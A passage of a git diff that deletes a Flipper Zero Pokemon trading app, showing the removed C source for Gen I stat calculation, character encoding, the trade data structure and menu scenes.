== NULL) break; - } - - return 0; -} - -int pokemon_named_list_get_num_elements(const NamedList* list) { - int i; - - for(i = 0;; i++) { - if(list[i].name == NULL) return i; - } -} - -int pokemon_named_list_get_list_pos_from_index(const NamedList* list, uint8_t index) { - int i; - - for(i = 0;; i++) { - if(list[i].name == NULL) break; - if(index == list[i].index) return i; - } - - /* This will return the first entry in case index is not matched. - * Could be surprising at runtime. - */ - return 0; -} - -const char* pokemon_named_list_get_name_from_index(const NamedList* list, uint8_t index) { - int i; - - for(i = 0;; i++) { - if(list[i].name == NULL) break; - if(index == list[i].index) return list[i].name; - } - - /* This will return the first entry in the case index is not matched, - * this could be confusing/problematic at runtime. - */ - return list[0].name; -} - -/* If dest is not NULL, a copy of the default name is written to it as well */ -void pokemon_trade_block_set_default_name(char* dest, PokemonFap* pokemon_fap, size_t n) { - int i; - char buf[11]; - - /* Walk through the default name, toupper() each character, encode it, and - * then write that to the same position in the trade_block. - */ - for(i = 0; i < 11; i++) { - pokemon_fap->trade_block->nickname[0].str[i] = pokemon_char_to_encoded( - toupper(pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon].name[i])); - buf[i] = toupper(pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon].name[i]); - } - FURI_LOG_D(TAG, "[app] Set default nickname"); - - if(dest != NULL) { - strncpy(dest, buf, n); - } -} - -#define UINT32_TO_EXP(input, output_array) \ - do { \ - (output_array)[2] = (uint8_t)((input)&0xFF); \ - (output_array)[1] = (uint8_t)(((input) >> 8) & 0xFF); \ - (output_array)[0] = (uint8_t)(((input) >> 16) & 0xFF); \ - } while(0) - -void pokemon_trade_block_recalculate_stats_from_level(PokemonFap* pokemon_fap) { - struct pokemon_structure* pkmn = &pokemon_fap->trade_block->party[0]; - const PokemonTable* table = &pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon]; - int curr_stats = pokemon_fap->curr_stats; - uint32_t experience; - int level = pkmn->level; - uint16_t stat; - uint8_t hp_iv = 0xf; - uint8_t atk_iv = 0xf; - uint8_t def_iv = 0xf; - uint8_t spd_iv = 0xf; - uint8_t special_iv = 0xf; - - /* Calculate exp */ - switch(table->growth) { - case GROWTH_FAST: - // https://bulbapedia.bulbagarden.net/wiki/Experience#Fast - experience = (4 * level * level * level) / 5; - break; - case GROWTH_MEDIUM_FAST: - // https://bulbapedia.bulbagarden.net/wiki/Experience#Medium_Fast - experience = (level * level * level); - break; - case GROWTH_MEDIUM_SLOW: - // https://bulbapedia.bulbagarden.net/wiki/Experience#Medium_Slow - experience = - (((level * level * level) * 6 / 5) - (15 * level * level) + (100 * level) - 140); - break; - case GROWTH_SLOW: - // https://bulbapedia.bulbagarden.net/wiki/Experience#Slow - experience = (5 * level * level * level) / 4; - break; - default: - furi_crash("incorrect growth val"); - break; - } - - pkmn->level_again = level; - UINT32_TO_EXP(experience, pkmn->exp); - FURI_LOG_D(TAG, "[app] Set pkmn level %d", level); - FURI_LOG_D(TAG, "[app] Set pkmn exp %d", (int)experience); - - /* Generate STATEXP */ - switch(curr_stats) { - case 1: - case 4: - stat = (0xffff / 100) * level; - break; - case 2: - case 5: - stat = 0xffff; - break; - default: - stat = 0; - break; - } - - FURI_LOG_D(TAG, "[app] EVs set to %d", stat); - stat = __builtin_bswap16(stat); - - pkmn->hp_ev = stat; - pkmn->atk_ev = stat; - pkmn->def_ev = stat; - pkmn->spd_ev = stat; - pkmn->special_ev = stat; - - /* Set up IVs */ - if(curr_stats <= 2) { - atk_iv = rand() % 15; - def_iv = rand() % 15; - spd_iv = rand() % 15; - special_iv = rand() % 15; - pkmn->iv = ((atk_iv & 0x0f) << 12) | ((def_iv & 0x0f) << 8) | ((spd_iv & 0x0f) << 4) | - ((special_iv & 0x0f)); - hp_iv = (pkmn->iv & 0xAA) >> 4; - } - FURI_LOG_D( - TAG, - "[app] atk_iv %d, def_iv %d, spd_iv %d, spc_iv %d, hp_iv %d", - atk_iv, - def_iv, - spd_iv, - special_iv, - hp_iv); - - /* Calculate HP */ - // https://bulbapedia.bulbagarden.net/wiki/Stat#Generations_I_and_II - stat = floor((((2 * (table->base_hp + hp_iv)) + floor(sqrt(pkmn->hp_ev) / 4)) * level) / 100) + - (level + 10); - FURI_LOG_D(TAG, "[app] HP set to %d", stat); - pkmn->hp = __builtin_bswap16(stat); - pkmn->max_hp = pkmn->hp; - - /* Calculate ATK, DEF, SPD, SP */ - /* TODO: these all use the same calculations, could put the stats in a sub-array and iterate - * through each element in order rather than having to repeat the code. IVs would also need - * to be in a similar array. - **/ - // https://bulbapedia.bulbagarden.net/wiki/Stat#Generations_I_and_II - stat = - floor((((2 * (table->base_atk + atk_iv)) + floor(sqrt(pkmn->atk_ev) / 4)) * level) / 100) + - 5; - FURI_LOG_D(TAG, "[app] ATK set to %d", stat); - pkmn->atk = __builtin_bswap16(stat); - stat = - floor((((2 * (table->base_def + def_iv)) + floor(sqrt(pkmn->def_ev) / 4)) * level) / 100) + - 5; - FURI_LOG_D(TAG, "[app] DEF set to %d", stat); - pkmn->def = __builtin_bswap16(stat); - stat = - floor((((2 * (table->base_spd + spd_iv)) + floor(sqrt(pkmn->spd_ev) / 4)) * level) / 100) + - 5; - FURI_LOG_D(TAG, "[app] SPD set to %d", stat); - pkmn->spd = __builtin_bswap16(stat); - stat = floor( - (((2 * (table->base_special + special_iv)) + floor(sqrt(pkmn->special_ev) / 4)) * - level) / - 100) + - 5; - FURI_LOG_D(TAG, "[app] SPC set to %d", stat); - pkmn->special = __builtin_bswap16(stat); -} - -/* Rebuild the current trade block's variables based on curr_pokemon */ -void pokemon_trade_block_recalculate(PokemonFap* pokemon_fap) { - struct pokemon_structure* pkmn = &pokemon_fap->trade_block->party[0]; - const PokemonTable* table = &pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon]; - int i; - - /* Set current pokemon to the trade structure */ - pkmn->index = table->index; - pokemon_fap->trade_block->party_members[0] = table->index; - FURI_LOG_D(TAG, "[app] Set %s in trade block", table->name); - - /* Set current pokemon's moves to the trade structure */ - for(i = 0; i < 4; i++) { - pkmn->move[i] = table->move[i]; - FURI_LOG_D( - TAG, - "[app] Set %s in trade block", - pokemon_named_list_get_name_from_index(pokemon_fap->move_list, pkmn->move[i])); - } - - /* Set current pokemon's types to the trade structure */ - for(i = 0; i < 2; i++) { - pkmn->type[i] = table->type[i]; - FURI_LOG_D( - TAG, - "[app] Set %s in trade block", - pokemon_named_list_get_name_from_index(pokemon_fap->type_list, pkmn->type[i])); - } - - pokemon_trade_block_recalculate_stats_from_level(pokemon_fap); - pokemon_trade_block_set_default_name(NULL, pokemon_fap, 0); -} - -/* Allocates a chunk of memory for the trade data block and sets up some - * default values. - */ -static TradeBlock* trade_block_alloc(void) { - TradeBlock* trade; - - trade = malloc(sizeof(TradeBlock)); - - /* Clear struct to be all TERM_ bytes as the various name strings need this */ - memset(trade, TERM_, sizeof(TradeBlock)); - - /* The party_members element needs to be 0xff for unused */ - memset(trade->party_members, 0xFF, sizeof(trade->party_members)); - - /* Zero the main party data, TERM_ in there can cause weirdness */ - memset(trade->party, 0x00, sizeof(trade->party)); - - /* Set our Name, the pokemon's default OT name and ID */ - trade->party_cnt = 1; - - /* Trainer/OT name, not to exceed 7 characters! */ - pokemon_str_to_encoded_array(trade->trainer_name, "Flipper", sizeof(trade->trainer_name)); - pokemon_str_to_encoded_array(trade->ot_name[0].str, "Flipper", sizeof(trade->ot_name[0].str)); - - /* OT trainer ID# */ - trade->party[0].ot_id = __builtin_bswap16(42069); - - /* Notes: - * Move pp isn't explicitly set up, should be fine - * Catch/held isn't explicitly set up, should be okay for only Gen I support now - * Status condition isn't explicity let up, would you ever want to? - */ - - /* Set up initial level */ - trade->party[0].level = 2; - - return trade; -} - -static void trade_block_free(TradeBlock* trade) { - free(trade); -} - -PokemonFap* pokemon_alloc() { - PokemonFap* pokemon_fap = (PokemonFap*)malloc(sizeof(PokemonFap)); - - // View dispatcher - pokemon_fap->view_dispatcher = view_dispatcher_alloc(); - - view_dispatcher_enable_queue(pokemon_fap->view_dispatcher); - view_dispatcher_set_event_callback_context(pokemon_fap->view_dispatcher, pokemon_fap); - view_dispatcher_attach_to_gui( - pokemon_fap->view_dispatcher, - (Gui*)furi_record_open(RECORD_GUI), - ViewDispatcherTypeFullscreen); - - /* Set up pointers to const data tables for reference elsewhere */ - pokemon_fap->pokemon_table = pokemon_table; - pokemon_fap->move_list = move_list; - pokemon_fap->type_list = type_list; - - // Set up defaults - pokemon_fap->curr_pokemon = 0; - pokemon_fap->curr_stats = 0; - - // Set up trade party struct - pokemon_fap->trade_block = trade_block_alloc(); - - /* Update trade block struct with calculated details from initial values from trade_block_alloc() */ - pokemon_trade_block_recalculate(pokemon_fap); - - /* Set up gui modules used. It would be nice if these could be allocated and - * freed as needed, however, the scene manager still requires pointers that - * get set up as a part of the scene. Therefore, individual scene's exit - * callbacks cannot free the buffer. - */ - pokemon_fap->text_input = text_input_alloc(); - pokemon_fap->submenu = submenu_alloc(); - pokemon_fap->variable_item_list = variable_item_list_alloc(); - - // Set up menu scene - pokemon_fap->scene_manager = scene_manager_alloc(&pokemon_scene_manager_handlers, pokemon_fap); - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewMainMenu, submenu_get_view(pokemon_fap->submenu)); - scene_manager_next_scene(pokemon_fap->scene_manager, MainMenuScene); - - // Select Pokemon View - pokemon_fap->select_view = select_pokemon_alloc(pokemon_fap); - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewSelectPokemon, pokemon_fap->select_view); - - // Trade View - /* Allocates its own view and adds it to the main view_dispatcher */ - pokemon_fap->trade = trade_alloc( - pokemon_fap->trade_block, - pokemon_fap->pokemon_table, - pokemon_fap->view_dispatcher, - AppViewTrade); - - return pokemon_fap; -} - -void free_app(PokemonFap* pokemon_fap) { - furi_assert(pokemon_fap); - - // Free views - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewSelectPokemon); - select_pokemon_free(pokemon_fap); - - /* Also removes itself from the view_dispatcher */ - trade_free(pokemon_fap->view_dispatcher, AppViewTrade, pokemon_fap->trade); - - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - - view_dispatcher_free(pokemon_fap->view_dispatcher); - - // Free scenes - scene_manager_free(pokemon_fap->scene_manager); - - // Free gui modules - submenu_free(pokemon_fap->submenu); - text_input_free(pokemon_fap->text_input); - variable_item_list_free(pokemon_fap->variable_item_list); - - // Close records - furi_record_close(RECORD_GUI); - - // Free trade block - trade_block_free(pokemon_fap->trade_block); - - // Free rest - free(pokemon_fap); - pokemon_fap = NULL; -} - -int32_t pokemon_app(void* p) { - UNUSED(p); - PokemonFap* pokemon_fap = pokemon_alloc(); - - furi_hal_light_set(LightRed, 0x00); - furi_hal_light_set(LightGreen, 0x00); - furi_hal_light_set(LightBlue, 0x00); - - //switch view and run dispatcher - view_dispatcher_run(pokemon_fap->view_dispatcher); - - // Free resources - free_app(pokemon_fap); - - return 0; -} diff --git a/applications/external/malveke_pokemon_trading/pokemon_app.h b/applications/external/malveke_pokemon_trading/pokemon_app.h deleted file mode 100644 index c43e6f3136a..00000000000 --- a/applications/external/malveke_pokemon_trading/pokemon_app.h +++ /dev/null @@ -1,112 +0,0 @@ -#ifndef POKEMON_APP_H -#define POKEMON_APP_H - -#pragma once - -#include -#include -#include -#include -#include -#include -#include - -#include "pokemon_data.h" - -#define TAG "Pokemon" - -/* #defines for the data table entries */ -#define GROWTH_FAST 4 -#define GROWTH_MEDIUM_FAST 0 -#define GROWTH_MEDIUM_SLOW 3 -#define GROWTH_SLOW 5 - -struct pokemon_data_table { - const char* name; - const Icon* icon; - const uint8_t index; - const uint8_t base_hp; - const uint8_t base_atk; - const uint8_t base_def; - const uint8_t base_spd; - const uint8_t base_special; - const uint8_t type[2]; - const uint8_t move[4]; - const uint8_t growth; -}; - -typedef struct pokemon_data_table PokemonTable; - -struct named_list { - const char* name; - const uint8_t index; -}; - -typedef struct named_list NamedList; - -struct pokemon_fap { - ViewDispatcher* view_dispatcher; - - /* View ports for each of the application's steps */ - View* select_view; - void* trade; - - /* Scene manager */ - SceneManager* scene_manager; - - /* gui modules used in the application lifetime */ - Submenu* submenu; - TextInput* text_input; - VariableItemList* variable_item_list; - - /* Table of pokemon data for Gen I */ - const PokemonTable* pokemon_table; - - /* List of moves, alphabetically ordered */ - const NamedList* move_list; - - /* List of types, alphabetically ordered */ - const NamedList* type_list; - - /* Struct for holding trade data */ - /* NOTE: There may be some runtime memory savings by adding more intelligence - * to views/trade and slimming down this struct to only contain the single - * pokemon data rather than the full 6 member party data. - */ - TradeBlock* trade_block; - - /* The currently selected pokemon */ - int curr_pokemon; - - /* TODO: Other variables will end up here, like selected level, EV/IV, - * moveset, etc. Likely will want to be another sub struct similar to - * the actual pokemon data structure. - */ - int curr_stats; -}; - -typedef struct pokemon_fap PokemonFap; - -typedef enum { - AppViewMainMenu, - AppViewOpts, // Generic view ID meant for module re-use - AppViewSelectPokemon, - AppViewTrade, - AppViewExitConfirm, -} AppView; - -int pokemon_table_get_num_from_index(const PokemonTable* table, uint8_t index); - -int pokemon_named_list_get_num_elements(const NamedList* list); - -int pokemon_named_list_get_list_pos_from_index(const NamedList* list, uint8_t index); - -const char* pokemon_named_list_get_name_from_index(const NamedList* list, uint8_t index); - -void pokemon_trade_block_set_default_name(char* dest, PokemonFap* pokemon_fap, size_t n); - -void pokemon_trade_block_recalculate(PokemonFap* pokemon_fap); - -void pokemon_trade_block_recalculate_stats_from_level(PokemonFap* pokemon_fap); - -#endif /* POKEMON_APP_H */ diff --git a/applications/external/malveke_pokemon_trading/pokemon_char_encode.c b/applications/external/malveke_pokemon_trading/pokemon_char_encode.c deleted file mode 100644 index 14351eae7dc..00000000000 --- a/applications/external/malveke_pokemon_trading/pokemon_char_encode.c +++ /dev/null @@ -1,313 +0,0 @@ -#include -#include - -#include "pokemon_char_encode.h" - -char pokemon_char_to_encoded(int byte) { - switch(byte) { - case 'A': - return A_; - case 'B': - return B_; - case 'C': - return C_; - case 'D': - return D_; - case 'E': - return E_; - case 'F': - return F_; - case 'G': - return G_; - case 'H': - return H_; - case 'I': - return I_; - case 'J': - return J_; - case 'K': - return K_; - case 'L': - return L_; - case 'M': - return M_; - case 'N': - return N_; - case 'O': - return O_; - case 'P': - return P_; - case 'Q': - return Q_; - case 'R': - return R_; - case 'S': - return S_; - case 'T': - return T_; - case 'U': - return U_; - case 'V': - return V_; - case 'W': - return W_; - case 'X': - return X_; - case 'Y': - return Y_; - case 'Z': - return Z_; - case 'a': - return a_; - case 'b': - return b_; - case 'c': - return c_; - case 'd': - return d_; - case 'e': - return e_; - case 'f': - return f_; - case 'g': - return g_; - case 'h': - return h_; - case 'i': - return i_; - case 'j': - return j_; - case 'k': - return k_; - case 'l': - return l_; - case 'm': - return m_; - case 'n': - return n_; - case 'o': - return o_; - case 'p': - return p_; - case 'q': - return q_; - case 'r': - return r_; - case 's': - return s_; - case 't': - return t_; - case 'u': - return u_; - case 'v': - return v_; - case 'w': - return w_; - case 'x': - return x_; - case 'y': - return y_; - case 'z': - return z_; - case '0': - return _0_; - case '1': - return _1_; - case '2': - return _2_; - case '3': - return _3_; - case '4': - return _4_; - case '5': - return _5_; - case '6': - return _6_; - case '7': - return _7_; - case '8': - return _8_; - case '9': - return _9_; - - /* This was previously implemented with unicode escape codes, however, that - * seemed to cause compilation issues. Which is strange because others reported - * compilation issues with the actual unicode characters. I'm not sure a good - * universal way to resolve this. - * - * Additionally, the ♂/♀ symbols don't render properly on the flipper. Would - * need to create a custom image/icon somehow, otherwise its nonobvious that - * the traded pokemon would have this symbol in their name. - */ - - case '\201': - return MALE_; - case '\200': - return FEMALE_; - default: - return TERM_; - } -} - -int pokemon_encoded_to_char(char byte) { - switch(byte) { - case A_: - return 'A'; - case B_: - return 'B'; - case C_: - return 'C'; - case D_: - return 'D'; - case E_: - return 'E'; - case F_: - return 'F'; - case G_: - return 'G'; - case H_: - return 'H'; - case I_: - return 'I'; - case J_: - return 'J'; - case K_: - return 'K'; - case L_: - return 'L'; - case M_: - return 'M'; - case N_: - return 'N'; - case O_: - return 'O'; - case P_: - return 'P'; - case Q_: - return 'Q'; - case R_: - return 'R'; - case S_: - return 'S'; - case T_: - return 'T'; - case U_: - return 'U'; - case V_: - return 'V'; - case W_: - return 'W'; - case X_: - return 'X'; - case Y_: - return 'Y'; - case Z_: - return 'Z'; - case a_: - return 'a'; - case b_: - return 'b'; - case c_: - return 'c'; - case d_: - return 'd'; - case e_: - return 'e'; - case f_: - return 'f'; - case g_: - return 'g'; - case h_: - return 'h'; - case i_: - return 'i'; - case j_: - return 'j'; - case k_: - return 'k'; - case l_: - return 'l'; - case m_: - return 'm'; - case n_: - return 'n'; - case o_: - return 'o'; - case p_: - return 'p'; - case q_: - return 'q'; - case r_: - return 'r'; - case s_: - return 's'; - case t_: - return 't'; - case u_: - return 'u'; - case v_: - return 'v'; - case w_: - return 'w'; - case x_: - return 'x'; - case y_: - return 'y'; - case z_: - return 'z'; - case _0_: - return '0'; - case _1_: - return '1'; - case _2_: - return '2'; - case _3_: - return '3'; - case _4_: - return '4'; - case _5_: - return '5'; - case _6_: - return '6'; - case _7_: - return '7'; - case _8_: - return '8'; - case _9_: - return '9'; - - /* This was previously implemented with unicode escape codes, however, that - * seemed to cause compilation issues. Which is strange because others reported - * compilation issues with the actual unicode characters. I'm not sure a good - * universal way to resolve this. - * - * Additionally, the ♂/♀ symbols don't render properly on the flipper. Would - * need to create a custom image/icon somehow, otherwise its nonobvious that - * the traded pokemon would have this symbol in their name. - */ - case MALE_: - return '\201'; - case FEMALE_: - return '\200'; - default: - return '\0'; - } -} - -/* encode n bytes, any currently noninputtable characters are set with TERM_ */ -void pokemon_str_to_encoded_array(uint8_t* dest, char* src, size_t n) { - for(; n > 0; n--) { - *dest = pokemon_char_to_encoded(*src); - dest++; - src++; - } -} - -/* decode n bytes, any currently noninputtable characters are set with '\0' */ -void pokemon_encoded_array_to_str(char* dest, uint8_t* src, size_t n) { - for(; n > 0; n--) { - *dest = pokemon_encoded_to_char(*src); - dest++; - src++; - } -} diff --git a/applications/external/malveke_pokemon_trading/pokemon_char_encode.h b/applications/external/malveke_pokemon_trading/pokemon_char_encode.h deleted file mode 100644 index 08e33adeaa7..00000000000 --- a/applications/external/malveke_pokemon_trading/pokemon_char_encode.h +++ /dev/null @@ -1,110 +0,0 @@ -#ifndef POKEMON_CHAR_ENCODE_H -#define POKEMON_CHAR_ENCODE_H -/* NOTE: These map to the Gen 1 character set! */ -/* NOTE: These map to English */ -/* TODO: It may make more sense to put this in a const array as a LUT, - * e.g. t['F'], t['l'], t['i'], t['p'], t['e'], t['r'], t['\0'] - * As this could be an easier translation for each letter to build a string - * to set names and things on the fly in the flipper. Need to explore that. - * once I get to that point. - */ -#define TERM_ 0x50 -#define SPACE_ 0x7f -#define A_ 0x80 -#define B_ 0x81 -#define C_ 0x82 -#define D_ 0x83 -#define E_ 0x84 -#define F_ 0x85 -#define G_ 0x86 -#define H_ 0x87 -#define I_ 0x88 -#define J_ 0x89 -#define K_ 0x8a -#define L_ 0x8b -#define M_ 0x8c -#define N_ 0x8d -#define O_ 0x8e -#define P_ 0x8f -#define Q_ 0x90 -#define R_ 0x91 -#define S_ 0x92 -#define T_ 0x93 -#define U_ 0x94 -#define V_ 0x95 -#define W_ 0x96 -#define X_ 0x97 -#define Y_ 0x98 -#define Z_ 0x99 -#define O_PAREN_ 0x9a -#define C_PAREN_ 0x9b -#define COLON_ 0x9c -#define SEMI_ 0x9d -#define O_BRACKET_ 0x9e -#define C_BRACKET_ 0x9f -#define a_ 0xa0 -#define b_ 0xa1 -#define c_ 0xa2 -#define d_ 0xa3 -#define e_ 0xa4 -#define f_ 0xa5 -#define g_ 0xa6 -#define h_ 0xa7 -#define i_ 0xa8 -#define j_ 0xa9 -#define k_ 0xaa -#define l_ 0xab -#define m_ 0xac -#define n_ 0xad -#define o_ 0xae -#define p_ 0xaf -#define q_ 0xb0 -#define r_ 0xb1 -#define s_ 0xb2 -#define t_ 0xb3 -#define u_ 0xb4 -#define v_ 0xb5 -#define w_ 0xb6 -#define x_ 0xb7 -#define y_ 0xb8 -#define z_ 0xb9 -#define e_ACCENT_ 0xba -#define d_TICK_ 0xbb -#define l_TICK_ 0xbc -#define s_TICK_ 0xbd -#define t_TICK_ 0xbe -#define v_TICK_ 0xbf -#define S_QUOTE_ 0xe0 -#define PK_ 0xe1 -#define MN_ 0xe2 -#define DASH_ 0xe3 -#define r_TICK_ 0xe4 -#define m_TICK_ 0xe5 -#define QUESTION_ 0xe6 -#define EXCLAIM_ 0xe7 -#define PERIOD_ 0xe8 -#define R_ARR_ 0xec -#define D_ARR_ 0xee -#define MALE_ 0xef -#define FEMALE_ 0xf5 -#define _0_ 0xf6 -#define _1_ 0xf7 -#define _2_ 0xf8 -#define _3_ 0xf9 -#define _4_ 0xfa -#define _5_ 0xfb -#define _6_ 0xfc -#define _7_ 0xfd -#define _8_ 0xfe -#define _9_ 0xff - -#include -#include - -char pokemon_char_to_encoded(int byte); -int pokemon_encoded_to_char(char byte); - -void pokemon_str_to_encoded_array(uint8_t* dest, char* src, size_t n); -void pokemon_encoded_array_to_str(char* dest, uint8_t* src, size_t n); - -#endif // POKEMON_CHAR_ENCODE_H diff --git a/applications/external/malveke_pokemon_trading/pokemon_data.h b/applications/external/malveke_pokemon_trading/pokemon_data.h deleted file mode 100644 index 7c7effecebe..00000000000 --- a/applications/external/malveke_pokemon_trading/pokemon_data.h +++ /dev/null @@ -1,74 +0,0 @@ -#ifndef POKEMON_DATA_H -#define POKEMON_DATA_H - -#pragma once - -/* The struct is laid out exactly as the data trasfer that gets sent for trade - * information. It has to be packed in order to not have padding in the Flipper. - * Packing is always potentially filled with pitfalls, however this has worked - * in testing without issue and this code isn't meant to be portable. - */ - -/* NOTE: These are all opposite endianness on the flipper than they are in the - * GB/Z80. e.g. a uint16_t value of 0x2c01 translates to 0x012c. - * Need to use __builtin_bswap16(val) to switch between Flipper and Pokemon. - */ -/* This is 44 bytes in memory */ -struct __attribute__((__packed__)) pokemon_structure { - uint8_t index; - uint16_t hp; // Calculated from level - /* Level is normally calculated from exp, however, level is more human - * readable/digestable compared to exp. Therefore, we set legel and then - * from that calculate, (Max)HP, ATK, DEF, SPD, SPC. - */ - uint8_t level; - uint8_t status_condition; // Do you really want to trade a Poisoned pokemon? - uint8_t type[2]; // Pokemon with a single type just repeat the type twice - uint8_t catch_held; // Unsure if this has any effect in Gen 1 - uint8_t move[4]; - uint16_t ot_id; - uint8_t exp[3]; // Calculated from level - uint16_t hp_ev; - uint16_t atk_ev; - uint16_t def_ev; - uint16_t spd_ev; - uint16_t special_ev; - uint16_t iv; - uint8_t move_pp[4]; - uint8_t level_again; // Copy of level - uint16_t max_hp; // Calculated from level - uint16_t atk; // Calculated from level - uint16_t def; // Calculated from level - uint16_t spd; // Calculated from level - uint16_t special; // Calculated from level -}; - -struct __attribute__((__packed__)) name { - /* Reused a few times, but in Gen I, all name strings are 11 bytes in memory. - * At most, 10 symbols and a TERM_ byte. - * Note that some strings must be shorter than 11. - */ - unsigned char str[11]; -}; - -/* This is 415 bytes in memory/transmitted */ -struct __attribute__((__packed__)) trade_data_block { - /* TODO: Change this to use struct name above */ - unsigned char trainer_name[11]; - uint8_t party_cnt; - /* Only the first pokemon is ever used even though there are 7 bytes here. - * If the remaining 6 bytes are _not_ 0xff, then the trade window renders - * garbage for the Flipper's party. - */ - uint8_t party_members[7]; - /* Only the first pokemon is set up, even though there are 6 total party members */ - struct pokemon_structure party[6]; - /* Only the first pokemon has an OT name and nickname even though there are 6 members */ - /* OT name should not exceed 7 chars! */ - struct name ot_name[6]; - struct name nickname[6]; -}; - -typedef struct trade_data_block TradeBlock; - -#endif /* POKEMON_DATA_H */ diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_level.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_level.c deleted file mode 100644 index c53f6d5bb07..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_level.c +++ /dev/null @@ -1,60 +0,0 @@ -#include -#include -#include -#include - -#include "../pokemon_app.h" -#include "pokemon_menu.h" - -static char level_buf[4]; - -static bool select_level_input_validator(const char* text, FuriString* error, void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - int level_val; - bool rc = true; - - level_val = atoi(text); - if(level_val < 2 || level_val > 100) { - furi_string_printf(error, "Level must\nbe a number\nbetween\n2-100!\n"); - rc = false; - } else { - pokemon_fap->trade_block->party[0].level = level_val; - pokemon_fap->trade_block->party[0].level_again = level_val; - } - - return rc; -} - -static void select_level_input_callback(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* Recalculate all stats from updated level */ - pokemon_trade_block_recalculate_stats_from_level(pokemon_fap); - scene_manager_previous_scene(pokemon_fap->scene_manager); -} - -void select_level_scene_on_exit(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewMainMenu); - view_dispatcher_remove_view(pokemon_fap->view_dispatcher, AppViewOpts); -} - -void select_level_scene_on_enter(void* context) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - text_input_reset(pokemon_fap->text_input); - text_input_set_validator(pokemon_fap->text_input, select_level_input_validator, pokemon_fap); - text_input_set_result_callback( - pokemon_fap->text_input, - select_level_input_callback, - pokemon_fap, - level_buf, - sizeof(level_buf), - true); - text_input_set_header_text(pokemon_fap->text_input, "Enter level (numbers only):"); - - view_dispatcher_add_view( - pokemon_fap->view_dispatcher, AppViewOpts, text_input_get_view(pokemon_fap->text_input)); - view_dispatcher_switch_to_view(pokemon_fap->view_dispatcher, AppViewOpts); -} diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_level.h b/applications/external/malveke_pokemon_trading/scenes/pokemon_level.h deleted file mode 100644 index f4bec0e7f22..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_level.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef POKEMON_LEVEL_H -#define POKEMON_LEVEL_H - -#pragma once - -void select_level_scene_on_enter(void* context); -void select_level_scene_on_exit(void* context); - -#endif // POKEMON_LEVEL_H diff --git a/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.c b/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.c deleted file mode 100644 index db73bc6b03d..00000000000 --- a/applications/external/malveke_pokemon_trading/scenes/pokemon_menu.c +++ /dev/null @@ -1,168 +0,0 @@ -#include "../pokemon_app.h" -#include "../pokemon_char_encode.h" - -#include "pokemon_menu.h" -#include "pokemon_select.h" -#include "pokemon_nickname.h" -#include "pokemon_level.h" -#include "pokemon_move.h" -#include "pokemon_type.h" -#include "pokemon_stats.h" -#include "pokemon_ot_id.h" -#include "pokemon_ot_name.h" -#include "pokemon_trade.h" - -static void scene_change_from_main_cb(void* context, uint32_t index) { - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* Set scene state to the current index so we can have that element highlighted when - * we return. - */ - scene_manager_set_scene_state(pokemon_fap->scene_manager, MainMenuScene, index); - scene_manager_next_scene(pokemon_fap->scene_manager, index); -} - -bool main_menu_back_event_callback(void* context) { - furi_assert(context); - PokemonFap* pokemon_fap = context; - return scene_manager_handle_back_event(pokemon_fap->scene_manager); -} - -void main_menu_scene_on_enter(void* context) { - char buf[32]; - char name_buf[11]; // All name buffers are 11 bytes at most, including term - PokemonFap* pokemon_fap = (PokemonFap*)context; - - /* Clear the scene state of the Move scene since that is used to set the - * highlighted meny item. - */ - scene_manager_set_scene_state(pokemon_fap->scene_manager, SelectMoveScene, 0); - - /* HACK: Since we may have come from trade view, we cannot assume that - * pokemon_fap->curr_pokemon is correct. - * The proper way to do this would be to instead of tracking curr_pokemon - * separately, have it always be derived fro the current trade_block. - */ - pokemon_fap->curr_pokemon = pokemon_table_get_num_from_index( - pokemon_fap->pokemon_table, pokemon_fap->trade_block->party_members[0]); - - submenu_reset(pokemon_fap->submenu); - - snprintf( - buf, - sizeof(buf), - "Pokemon: %s", - pokemon_fap->pokemon_table[pokemon_fap->curr_pokemon].name); - submenu_add_item( - pokemon_fap->submenu, buf, SelectPokemonScene, scene_change_from_main_cb, pokemon_fap); - pokemon_encoded_array_to_str( - name_buf, (uint8_t*)pokemon_fap->trade_block->nickname, sizeof(name_buf)); - snprintf(buf, sizeof(buf), "Nickname: %s", name_buf); - submenu_add_item( - pokemon_fap->submenu, buf, SelectNicknameScene, scene_change_from_main_cb, pokemon_fap); - snprintf(buf, sizeof(buf), "Level: %d", pokemon_fap->trade_block->party[0].level); - submenu_add_item( - pokemon_fap->submenu, buf, SelectLevelScene, scene_change_from_main_cb, pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, - "Select Moves", - SelectMoveScene, - scene_change_from_main_cb, - pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, - "Select Types", - SelectTypeScene, - scene_change_from_main_cb, - pokemon_fap); - submenu_add_item( - pokemon_fap->submenu, - stats_text[pokemon_fap->curr_stats], - SelectStatsScene, - scene_change_from_main_cb, - pokemon_fap); - snprintf( - buf, - sizeof(buf), - "OT ID#: %05d", - __builtin_bswap16(pokemon_fap->trade_block->party[0].ot_id)); - submenu_add_item( - pokemon_fap->submenu, buf, SelectOTIDScene, scene_change_from_main_cb, pokemon_fap); - pokemon_encoded_array_to_str( - name_buf, (uint8_t*)pokemon_fap->trade_block->ot_name, sizeof(name_buf)); - snprintf(buf, sizeof(buf), "OT Name: %s", name_buf); - submenu_add_item( - pokemon_fap->submenu, buf, SelectOTNameScene, scene_change_from_main_cb, 